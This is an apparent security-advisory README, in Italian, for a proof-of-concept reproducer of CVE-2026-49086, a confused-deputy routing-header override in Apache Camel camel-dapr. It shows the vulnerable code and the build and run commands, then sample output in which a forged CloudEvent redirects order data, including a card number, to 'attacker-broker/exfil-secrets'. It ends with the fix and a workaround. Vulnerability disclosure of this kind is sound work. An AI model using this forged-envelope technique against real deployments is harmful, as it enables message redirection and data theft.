
Riproduttore PoC per CVE-2026-49086 che dimostra un override dell'header di routing di tipo confused-deputy in Apache Camel camel-dapr, consentendo il reindirizzamento dei messaggi e l'esfiltrazione dei dati tramite campi CloudEvent non attendibili.
Questo progetto dimostra un difetto di override delle routing header (confused deputy) nel componente camel-dapr
di Apache Camel, tracciato come CVE-2026-49086.
Il consumer pub/sub di Dapr (DaprPubSubConsumer) copia i campi del CloudEvent in ingresso (non attendibile) nelle
header dei messaggi Exchange. Due di questi — pubsubName e topic — sono routing header in direzione producer
(CamelDaprPubSubName / CamelDaprTopic). Quando in seguito la stessa route pubblica tramite un producer dapr:pubSub,
DaprConfigurationOptionsProxy . Quindi
l'envelope in ingresso, controllato da un mittente di messaggi non attendibile, sovrascrive silenziosamente la destinazione
di ripubblicazione della route:
// DaprPubSubConsumer.createServiceBusExchange (versione 4.18.2 soggetta al problema) — envelope non attendibile -> routing header
message.setHeader(DaprConstants.PUBSUB_NAME, cloudEvent.getPubsubName()); // CamelDaprPubSubName
message.setHeader(DaprConstants.TOPIC, cloudEvent.getTopic()); // CamelDaprTopic
// DaprConfigurationOptionsProxy.getOption (versione 4.18.2 soggetta al problema) — la header VINCE sulla configurazione dell'endpoint
return ObjectHelper.isEmpty(exchange) || ObjectHelper.isEmpty(exchangeFn.apply(exchange))
? fallbackFn.get() // configurazione endpoint (es. audit-broker/audit-log)
: exchangeFn.apply(exchange); // la header copiata dal CloudEvent in ingresso
In una route che consuma da un topic e ripubblica su un altro (un pattern comune di audit/inoltro/fan-out), un attore che
può pubblicare sul topic sottoscritto imposta pubsubName/topic del CloudEvent e reindirizza il messaggio
ripubblicato a un componente + topic Dapr pub/sub arbitrario — esfiltrando il payload verso un broker raggiungibile
dall'attaccante, oppure aggirando il routing/le ACL previsti. Questo è un confused deputy: l'applicazione ripubblica
con le proprie credenziali Dapr verso una destinazione scelta dall'attaccante.
Questo PoC dimostra l'impatto come reindirizzamento di messaggi / esfiltrazione di dati (CWE-441, derivata da CWE-20).
| Proprietà | Valore |
|---|---|
| Componente | camel-dapr |
| Classe soggetta al problema | org.apache.camel.component.dapr.consumer.DaprPubSubConsumer (imposta le header PUBSUB_NAME/TOPIC dal CloudEvent in ingresso) |
| CWE | CWE-20 (Convalida impropria dell'input) / CWE-441 (Proxy involontario / Confused Deputy) |
| Impatto | Reindirizza il messaggio ripubblicato a un componente + topic Dapr pub/sub arbitrario (esfiltrazione / bypass di routing e ACL) |
| Prerequisiti | Una route consuma da un topic dapr:pubSub e ripubblica tramite un producer dapr:pubSub; l'attaccante può pubblicare sul topic sottoscritto |
| Versioni soggette al problema | 4.12.0 fino a 4.14.7, 4.15.0–4.18.2, 4.19.0–4.20.x |
| Versioni corrette | 4.14.8, 4.18.3, 4.21.0 |
| JIRA | CAMEL-23630 (PR apache/camel#23886) |
| Crediti | Leon Zlobecki |
La correzione impedisce al consumer di impostare le due routing header (
CamelDaprPubSubName/CamelDaprTopic); le altre header di metadati CloudEvent restano invariate. Il producer usa quindi sempre il pub/sub + il topic configurati sull'endpoint. (È stata aggiunta anche unaDaprHeaderFilterStrategyper coerenza con il catalogo, ma la modifica effettiva che risolve il problema è quella relativa alle routing header.)
La vulnerabilità è interamente in Camel — il consumer che copia CloudEvent.pubsubName/topic nelle routing header
e il producer che preferisce quelle header. Il sidecar Dapr è solo trasporto. Questo riproduttore inietta
client mock dell'SDK Dapr (client=#mockClient, previewClient=#mockPreview) così che il vero
DaprPubSubConsumer e il DaprPubSubHandler vengono eseguiti invariati senza sidecar: il client preview mock
cattura il listener di sottoscrizione, e il client mock registra la destinazione di pubblicazione. Il driver
dell'attaccante consegna quindi un CloudEvent falsificato al listener catturato — esattamente ciò che innesca un
mittente in grado di pubblicare sul topic sottoscritto.
from("dapr:pubSub?pubSubName=orders-broker&topic=orders&previewClient=#mockPreview&client=#mockClient")
.to("dapr:pubSub?pubSubName=audit-broker&topic=audit-log&client=#mockClient&previewClient=#mockPreview");
L'autore intende che ogni ordine venga replicato sul flusso di audit fisso audit-broker/audit-log. Ma poiché il
consumer copia pubsubName/topic dell'envelope in ingresso nelle routing header, il producer di audit pubblica su
qualunque cosa indichi l'envelope — mai sul flusso di audit configurato.
Tutto viene eseguito in un unico contenitore autonomo.
CVE-2026-49086/
├── pom.xml # camel-dapr 4.18.2 (dapr-sdk 1.16.1 transitivo) + spring-boot-web
├── Dockerfile
├── docker-compose.yml # singolo servizio autonomo
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── DaprMockConfig.java # mock DaprClient + DaprPreviewClient (proxy dinamici; nessun sidecar)
│ ├── PublishRecorder.java # registra dove il producer ha effettivamente pubblicato
│ ├── SubscriptionRegistry.java # cattura il listener di sottoscrizione del consumer
│ ├── VictimRoutes.java # sottoscrizione dapr:pubSub -> pubblicazione dapr:pubSub (audit)
│ └── ExploitController.java # attaccante: consegna CloudEvent falsificati; confronta la destinazione di pubblicazione
└── resources/
└── application.properties
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
=== CVE-2026-49086 — camel-dapr consumer routing-header override (confused deputy) ===
Route intent: mirror every order to a FIXED audit stream
.to("dapr:pubSub?pubSubName=audit-broker&topic=audit-log")
1) Ordinary order event (envelope pubsub=orders-broker topic=orders)
audit copy actually published to: orders-broker / orders
-> already NOT the configured audit-broker/audit-log: the envelope's routing fields leaked into the producer.
2) Malicious order event (envelope forged: pubsub=attacker-broker topic=exfil-secrets)
audit copy actually published to: attacker-broker / exfil-secrets
leaked order data: {"orderId":"A-1002","card":"4111-2222-3333-4444"}
>>> PROVEN: the inbound CloudEvent's pubsubName/topic overrode the route's hard-coded
>>> audit target, so an attacker who can publish to 'orders' redirects the order copy to
>>> an arbitrary pub/sub component + topic (data exfiltration / routing bypass): true
Eseguire l'aggiornamento a 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23630). Dopo la correzione il consumer non imposta più
CamelDaprPubSubName / CamelDaprTopic, quindi un producer dapr:pubSub a valle di un consumer dapr:pubSub usa il
componente pub/sub e il topic configurati sull'endpoint.
In attesa dell'aggiornamento, rimuovere le routing header tra il consumer e qualsiasi producer dapr:pubSub nella route
(ad esempio removeHeaders("CamelDaprPubSubName,CamelDaprTopic")) e impostare il pub/sub + il topic di ripubblicazione
da una fonte attendibile.
Questo riproduttore è fornito solo per ricerca sulla sicurezza e test autorizzati, per una vulnerabilità divulgata pubblicamente e corretta. Non utilizzarlo contro sistemi senza esplicita autorizzazione.